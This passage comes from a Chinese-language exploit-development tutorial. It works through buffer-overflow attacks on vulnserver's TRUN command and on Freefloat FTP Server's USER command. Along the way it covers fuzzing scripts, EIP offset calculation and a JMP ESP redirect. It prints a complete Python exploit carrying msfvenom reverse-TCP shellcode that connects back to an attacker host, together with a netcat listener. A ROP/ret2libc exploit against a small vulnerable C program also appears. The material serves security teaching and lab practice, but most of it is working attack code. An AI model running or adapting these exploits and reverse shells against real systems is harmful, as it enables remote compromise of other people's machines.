d2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

现在,让我们运行 vulnserver。然后,以管理员身份打开 Immunity Debugger。导航到 文件 | 附加 并选择 vulnserver:

点击附加并运行程序。然后运行我们的攻击,并查看 Immunity Debugger 中发生了什么:

让我们查看寄存器内部:

现在,EIP 包含 396F4338。让我们尝试从我们的攻击机器中找到这个模式:

./pattern_offset.rb -q 0x396f4338 -l 5000

上述命令的输出可以在以下截图中看到:

因此,为了控制指令指针,我们需要注入 2006 个 A。然后,我们需要 4 个字节来控制 EIP 寄存器,其余的将被注入为 shellcode(5000-2006-4);这给我们 2990 个字符。让我们尝试一下,以确保我们走在正确的方向上:

#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer+= 'B'*4
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n') 
print s.recv(1024)
s.close()

这就是我们的有效载荷应该是什么样子的:

关闭 Immunity Debugger,然后重新启动应用程序。然后,再次启动利用代码。我们应该看到 Bs 被注入到 EIP 寄存器中:

成功了!我要再次使用 Immunity Debugger 进行重新检查。让我们来看看寄存器(FPU)里面的情况:

现在我们控制了 EIP 寄存器。让我们来看看堆栈里面的情况:

正如你所看到的,这里有我们的 As,然后是 4 个字节的 Bs,溢出了 EIP 寄存器,然后是299*0个 Cs。

在下一章中,我们将在这些 Cs 中注入一个 shellcode。

总结

在本章中,我们经历了 fuzzing 以及如何使程序崩溃。然后,我们看到了如何使用 Metasploit Framework 获得 RIP 寄存器的确切偏移量,以及一种非常简单的注入 shellcode 的方法。最后,我们经历了一个完整的 fuzzing 示例,并控制了指令指针。

在下一章中,我们将继续我们的示例,看看如何找到一个地方放置 shellcode 并使其工作。此外,我们还将学习更多的缓冲区溢出技术。

第八章:Exploit 开发-第 2 部分

在本章中,我们将继续讨论 exploit 开发的话题。首先,我们将通过注入 shellcode 继续并完成我们之前的例子。然后,我们将讨论一种新的技术,用于避免 NX 保护机制(NX 将在最后一章中解释)。

以下是本章我们将涵盖的主题:

  • 注入 shellcode

  • 返回导向编程

  • 结构化异常处理程序

注入 shellcode

现在,让我们继续上一章的例子。在我们控制了指令指针之后,我们需要做的是注入 shellcode 并将指令指针重定向到它。

为了实现这一点,我们需要为 shellcode 找一个家。实际上很容易;它只涉及跳转到堆栈。现在我们需要做的是找到那个指令:

  1. 启动 vulnserver,然后以管理员身份启动 Immunity Debugger,并从“文件”菜单中,附加到 vulnserver:

  1. 点击运行程序图标,然后右键单击并选择搜索;然后,在所有模块中选择所有命令来搜索应用程序本身或任何相关库中的任何指令:

  1. 然后我们需要做的是跳转到堆栈来执行我们的 shellcode;所以,让我们搜索JMP ESP指令并点击查找:

  1. 让我们从kernel32.dll 7DD93132复制JMP ESP的地址,然后再次在 Immunity Debugger 中重新运行 vulnserver,并点击运行程序图标。

你可以使用任何库,不仅仅是kernel32.dll。但是,如果你使用系统的库,比如kernel32.dll,那么由于 ASLR 机制(将在最后一章中解释),每次 Windows 启动时地址都会改变;但如果你使用与应用程序相关而与系统无关的库,那么地址就不会改变。

  1. 然后,从攻击机器上,编辑我们的 exploit 如下:
#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer += '\x32\x31\xd9\x7d'
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n') 
print s.recv(1024)
s.close()
  1. 然后,运行 exploit。指令指针现在指向43434343,这是我们的C字符:

  1. 现在我们准备插入我们的 shellcode。让我们使用 Metasploit Framework 创建一个:
$ msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST=172.16.89.1 LPORT=4321 -b '\x00' -f python
  1. 这个命令生成一个反向 TCP shell,连接回我的攻击机器的端口4321

  1. 因此,我们的最终 exploit 应该是这样的:
#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

junk = 'A'*2006             \\ Junk value to overflow the stack

eip = '\x32\x31\xd9\x7d'    \\ jmp esp

nops = '\x90'*64    \\ To make sure that jump will be inside our shellcode

shellcode = ""
shellcode += "\xbb\x6e\x66\xf1\x4c\xd9\xe9\xd9\x74\x24\xf4\x5a\x2b"
shellcode += "\xc9\xb1\x52\x31\x5a\x12\x83\xea\xfc\x03\x34\x68\x13"
shellcode += "\xb9\x34\x9c\x51\x42\xc4\x5d\x36\xca\x21\x6c\x76\xa8"
shellcode += "\x22\xdf\x46\xba\x66\xec\x2d\xee\x92\x67\x43\x27\x95"
shellcode += "\xc0\xee\x11\x98\xd1\x43\x61\xbb\x51\x9e\xb6\x1b\x6b"
shellcode += "\x51\xcb\x5a\xac\x8c\x26\x0e\x65\xda\x95\xbe\x02\x96"
shellcode += "\x25\x35\x58\x36\x2e\xaa\x29\x39\x1f\x7d\x21\x60\xbf"
shellcode += "\x7c\xe6\x18\xf6\x66\xeb\x25\x40\x1d\xdf\xd2\x53\xf7"
shellcode += "\x11\x1a\xff\x36\x9e\xe9\x01\x7f\x19\x12\x74\x89\x59"
shellcode += "\xaf\x8f\x4e\x23\x6b\x05\x54\x83\xf8\xbd\xb0\x35\x2c"
shellcode += "\x5b\x33\x39\x99\x2f\x1b\x5e\x1c\xe3\x10\x5a\x95\x02"
shellcode += "\xf6\xea\xed\x20\xd2\xb7\xb6\x49\x43\x12\x18\x75\x93"
shellcode += "\xfd\xc5\xd3\xd8\x10\x11\x6e\x83\x7c\xd6\x43\x3b\x7d"
shellcode += "\x70\xd3\x48\x4f\xdf\x4f\xc6\xe3\xa8\x49\x11\x03\x83"
shellcode += "\x2e\x8d\xfa\x2c\x4f\x84\x38\x78\x1f\xbe\xe9\x01\xf4"
shellcode += "\x3e\x15\xd4\x5b\x6e\xb9\x87\x1b\xde\x79\x78\xf4\x34"
shellcode += "\x76\xa7\xe4\x37\x5c\xc0\x8f\xc2\x37\x43\x5f\x95\xc6"
shellcode += "\xf3\x62\x25\xd9\xe2\xea\xc3\xb3\xf4\xba\x5c\x2c\x6c"
shellcode += "\xe7\x16\xcd\x71\x3d\x53\xcd\xfa\xb2\xa4\x80\x0a\xbe"
shellcode += "\xb6\x75\xfb\xf5\xe4\xd0\x04\x20\x80\xbf\x97\xaf\x50"
shellcode += "\xc9\x8b\x67\x07\x9e\x7a\x7e\xcd\x32\x24\x28\xf3\xce"
shellcode += "\xb0\x13\xb7\x14\x01\x9d\x36\xd8\x3d\xb9\x28\x24\xbd"
shellcode += "\x85\x1c\xf8\xe8\x53\xca\xbe\x42\x12\xa4\x68\x38\xfc"
shellcode += "\x20\xec\x72\x3f\x36\xf1\x5e\xc9\xd6\x40\x37\x8c\xe9"
shellcode += "\x6d\xdf\x18\x92\x93\x7f\xe6\x49\x10\x8f\xad\xd3\x31"
shellcode += "\x18\x68\x86\x03\x45\x8b\x7d\x47\x70\x08\x77\x38\x87"
shellcode += "\x10\xf2\x3d\xc3\x96\xef\x4f\x5c\x73\x0f\xe3\x5d\x56"

injection = junk + eip + nops + shellcode
s.send(('TRUN .' + injection + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n') 
print s.recv(1024)
s.close()
  1. 现在,让我们再次启动 vulnserver。然后,在我们的攻击机器上设置一个监听器:
$ nc -lp 4321
  1. 是时候尝试我们的 exploit 了,让我们保持对监听器的关注:
./exploit.py
  1. 然后,从我们的监听 shell 中,执行以下命令:

  1. 让我们使用ipconfig来确认一下:

  1. 现在我们控制了我们的受害机器!

返回导向编程

什么是返回导向编程ROP)?

让我们用最简单的方式解释 ROP 是什么。ROP 是一种技术,即使启用了 NX,也可以利用缓冲区溢出漏洞。ROP 技术可以使用 ROP 小工具绕过 NX 保护技术。

ROP 小工具是存储在内存中的机器指令地址序列。因此,如果我们能够改变执行流到这些指令中的一个,那么我们就可以控制应用程序,并且可以在不上传 shellcode 的情况下做到这一点。此外,ROP 小工具以ret指令结尾。如果你还没有明白,没关系;我们将进行一个例子来完全理解 ROP 是什么。

所以,我们需要安装 ropper,这是一个在二进制文件中查找 ROP 小工具的工具。你可以通过它在 GitHub 上的官方存储库下载它(github.com/sashs/Ropper),或者你可以按照这里给出的说明:

 $ sudo apt-get install python-pip
 $ sudo pip install capstone
 $ git clone https://github.com/sashs/ropper.git
 $ cd ropper
 $ git submodule init
 $ git submodule update

让我们看看下一个有漏洞的代码,它将打印出Starting /bin/ls。执行overflow函数,它将从用户那里获取输入,然后打印出来以及输入的大小:

#include <stdio.h>
#include <unistd.h>

int overflow() 
{
    char buf[80];
    int r;
    read(0, buf, 500);
    printf("The buffer content %d, %s", r, buf);
    return 0;
}

int main(int argc, char *argv[]) 
{
    printf("Starting /bin/ls");
    overflow();
    return 0;
}

让我们编译它,但不要禁用 NX:

$ gcc -fno-stack-protector rop.c -o rop

然后,启动gdb

$ gdb ./rop

现在,让我们确认 NX 是否已启用:

$ peda checksec

前面命令的输出可以在以下截图中看到:

现在,让我们使用 PEDA 执行模糊测试并控制 RIP,而不是使用 Metasploit 框架:

$ peda pattern_create 500 pattern

这将创建一个包含500个字符的模式,并将文件保存为pattern。现在,让我们将这个模式作为输入读取:

$ run < pattern

前面命令的输出可以在以下截图中看到:

程序崩溃了。下一步是检查栈中的最后一个元素,以计算 EIP 的偏移量:

$ x/wx $rsp

我们得到了栈中的最后一个元素为0x41413741(如果你使用相同的操作系统,这个地址应该是一样的)。现在,让我们看看这个模式的偏移量和下一个偏移量是否是 RIP 的确切偏移量:

$ peda pattern_offset 0x41413741

前面命令的输出可以在以下截图中看到:

RIP 的确切偏移将从105开始。让我们也确认一下:

#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*104 # junk
buffer += "B"*6
f = open("input.txt", "w")
f.write(buffer)

这段代码应该用六个B字符溢出 RIP 寄存器:

$ chmod +x exploit.py
$ ./exploit.py

然后,从 GDB 内部运行以下命令:

$ run < input.txt

前面命令的输出可以在以下截图中看到:

前面的截图表明我们正在朝着正确的方向前进。

由于 NX 已启用,我们无法上传和运行 shellcode,所以让我们使用返回到 libc 的 ROP 技术,这使我们能够使用来自 libc 本身的调用,这可能使我们能够调用函数。在这里,我们将使用system函数来执行 shell 命令。让我们看一下system的 man 页面:

$ man 3 system

前面命令的输出可以在以下截图中看到:

我们需要的是system函数的地址,以及 shell 命令字符串的位置——幸运的是,我们在/bin/ls代码中有这个。

我们所做的唯一的事情就是将字符串的位置复制到栈中。现在,我们需要找到一种方法将位置复制到 RDI 寄存器,以启用系统函数执行ls命令。因此,我们需要 ROP 小工具,它可以提取字符串的地址并将其复制到 RDI 寄存器,因为第一个参数应该在 RDI 寄存器中。

好的,让我们从 ROP 小工具开始。让我们搜索与 RDI 寄存器相关的任何 ROP 小工具。然后,导航到你安装 ropper 的位置:

$ ./Ropper.py --file /home/stack/buffer-overflow/rop/rop --search "%rdi"

前面命令的输出可以在以下截图中看到:

这个 ROP 小工具很完美:pop rdi; ret;,地址为0x0000000000400653。现在,我们需要从 GDB 内部找出system函数在内存中的确切位置:

$ p system

前面命令的输出可以在以下截图中看到:

现在,我们还得到了system函数的地址,为0x7ffff7a57590

在你的操作系统上,这个地址可能会有所不同。

让我们使用 GDB 获取/bin/ls字符串的位置:

$ find "/bin/ls"

前面命令的输出可以在以下截图中看到:

现在,我们已经得到了带有地址0x400697的字符串的位置。

栈的逻辑顺序应该是:

  1. system函数的地址

  2. 将被弹出到 RDI 寄存器的字符串指针

  3. ROP 小工具用于提取 pop,即栈中的最后一个元素到 RDI 寄存器

现在,我们需要以相反的顺序将它们推入栈中,使用我们的利用代码:

#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*104 # junk
buffer += pack("<Q", 0x0000000000400653) # <-- ROP gadget
buffer += pack("<Q", 0x400697) #  <-- pointer to "/bin/ls"
buffer += pack("<Q", 0x7ffff7a57590) # < -- address of system function

f = open("input.txt", "w")
f.write(buffer)

让我们运行脚本来更新input.txt

$ ./exploit.py

然后,从 GDB 中运行以下命令:

$ run < input.txt

栈的逻辑顺序应该是:

成功了!正如你所看到的,ls命令成功执行了。我们找到了绕过 NX 保护并利用这段代码的方法。

结构化异常处理

结构化异常处理SEH)只是在代码执行过程中发生的事件。我们可以在高级编程语言中看到 SEH,比如 C++和 Python。看一下下面的代码:

try:
    divide(6,0)
except ValueError:
    print "That value was invalid."

这是一个除零的例子,会引发异常。程序应该改变执行流到其他地方,做里面的任何事情。

SEH 由两部分组成:

  • 异常注册记录(SEH)

  • 下一个异常注册记录(nSEH)

它们以相反的顺序推入堆栈。那么现在如何利用 SEH 呢?就像普通的堆栈溢出一样简单:

这就是我们的利用程序应该看起来的样子。我们需要的是将一条指令pop pop ret推入SEH,以使跳转到nSEH。然后,将一条跳转指令推入nSEH,以使跳转到 shellcode;因此,我们的最终 shellcode 应该是这样的:

我们将在第十一章,真实场景-第 3 部分中涵盖一个实际场景,关于利用 SEH。

摘要

在这里,我们简要讨论了利用程序的开发,从 fuzzing 开始,以及如何控制指令指针。然后,我们看到了如何为 shellcode 找到一个家园,并改变执行流到该 shellcode。最后,我们讨论了一种称为 ROP 的技术,用于绕过 NX 保护技术,并快速了解了 SEH 利用技术。

在下一章中,我们将通过真实场景来构建一个真实应用的利用程序。

第九章:现实世界的场景-第 1 部分

现在,我们将通过在真实目标上练习 fuzzing、控制指令指针和注入 shellcode 来总结本书。我将浏览exploit-db.com,并从中选择真实目标。

Freefloat FTP Server

让我们从这里下载 Freefloat FTP Server v1.0,开始吧:

www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip。此外,您还可以在www.exploit-db.com/exploits/40711/上看到 Windows XP 上的利用程序。

Freefloat FTP Server 有许多易受攻击的参数,可以用来练习,我们将在这里选择其中一个进行全面练习:

现在,让我们在我们的 Windows 机器上从www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip下载它并解压缩。现在,打开它的目录,然后打开 Win32,并启动 FTP 服务器。它将显示在右上角的任务栏中。打开它以查看配置:

易受攻击的服务器正在端口21上运行。让我们从攻击机上使用nc确认一下。

首先,我们受害机的 IP 地址是192.168.129.128

然后从攻击机上执行以下命令:

$ nc 192.168.129.128 21 

前面命令的输出可以在以下截图中看到:

让我们尝试匿名访问:

$ USER anonymous
$ PASS anonymous

前面命令的输出可以在以下截图中看到:

我们成功了!如果我们专注于USER参数呢?

Fuzzing

由于手动使用nc命令的方式不高效,让我们使用 Python 语言构建一个脚本来执行:

#!/usr/bin/python
import socket
import sys

junk = 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

现在,让我们尝试使用USER参数进行 fuzzing 阶段。让我们从junk值为50开始:

#!/usr/bin/python
import socket
import sys

junk = 'A'*50

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

然后从我们的受害机上,让我们将 Freefloat FTP Server 附加到 Immunity Debugger 中,并运行程序一次:

让我们注册一下内容:

然后,确保程序处于运行状态:

现在,让我们运行我们的利用程序,然后看看 Immunity Debugger:

$ ./exploit.py

前面命令的输出可以在以下截图中看到:

什么都没发生!让我们把垃圾值增加到200

#!/usr/bin/python
import socket
import sys

junk = 'A'*200

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

让我们重新运行这个利用程序,并观察 Immunity Debugger:

$ ./exploit.py

前面命令的输出可以在以下截图中看到:

再次什么都没发生;让我们增加到500

#!/usr/bin/python
import socket
import sys

junk = 'A'*500

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

然后,运行利用程序:

$ ./exploit.py

前面命令的输出可以在以下截图中看到:

程序崩溃了!让我们也看看寄存器:

指令指针被我们的垃圾填满了:

栈也像预期的那样填满了垃圾值,这将带我们进入下一个阶段。

控制指令指针

在这个阶段,我们将通过计算 EIP 寄存器的确切偏移量来控制指令指针。

让我们像之前一样使用 Metasploit Framework 创建模式:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 500

前面命令的输出可以在以下截图中看到:

这是我们的模式,所以利用程序应该是这样的:

#!/usr/bin/python
import socket
import sys

junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

关闭 Immunity Debugger,重新运行 Freefloat FTP Server,并将其附加到 Immunity Debugger。然后,运行程序:

$ ./exploit.py

前面命令的输出可以在以下截图中看到:

EIP 中的当前模式是37684136

我们已经在 EIP 中找到了模式;现在,让我们获取它的确切偏移量:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_offset.rb -q 37684136 -l 500

前面命令的输出可以在以下截图中看到:

它在偏移量230;让我们确认一下:

#!/usr/bin/python
import socket
import sys

junk = 'A'*230
eip = 'B'*4
injection = junk+eip

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')

关闭 Immunity Debugger,然后再次启动它并启动 Freefloat FTP 服务器,将其附加到 Immunity Debugger 中,然后运行程序。然后执行我们的利用:

$ ./exploit.py

上述命令的输出可以在以下截图中看到:

另外,让我们看看寄存器:

EIP现在包含42424242;所以我们现在控制了EIP

